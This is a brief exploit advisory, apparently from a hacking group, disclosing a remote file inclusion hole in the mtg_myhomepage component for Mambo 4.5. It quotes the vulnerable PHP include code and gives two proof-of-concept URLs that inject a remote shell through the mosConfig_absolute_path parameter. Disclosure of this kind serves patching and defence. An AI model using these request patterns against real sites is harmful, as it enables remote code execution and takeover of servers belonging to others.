###########################################################################################
# Aria-Security.net Advisory #
# Discovered by: O.U.T.L.A.W #

    #            < www.Aria-security.net >                                            #
    #        Gr33t to: A.U.R.A & Hessam-X & Cl0wn & DrtRp                            #
    #                                                                    #
    ###########################################################################################

#Software: mtg_myhomepage Component For Mambo 4.5
#Vendor : http://www.kamgaing.com/
#Attack method: Remote File Inclusion

#Source:

if (file_exists

($mosConfig_absolute_path.'/administrator/components/com_lmtg_myhomepage/language/'.$mosConfig_lang.'.php'))
include_once

($mosConfig_absolute_path.'/administrator/components/com_lmtg_myhomepage/language/'.$mosConfig_lang.'.php');
else
include_once

($mosConfig_absolute_path.'/administrator/components/com_lmtg_myhomepage/language/english.php');

if ($mosConfig_mbf_content)
$iso_client_lang = MambelFish::discoverLanguage( $database );
else
$iso_client_lang = _LMTG_PRIMARY_LANG;

#Proof of Concept:
#install.lmtg_homepage.php?mosConfig_absolute_path= SHELL
#mtg_homepage.php?mosConfig_absolute_path= SHELL

#----------------------------------------------------------

#Contact : [email protected]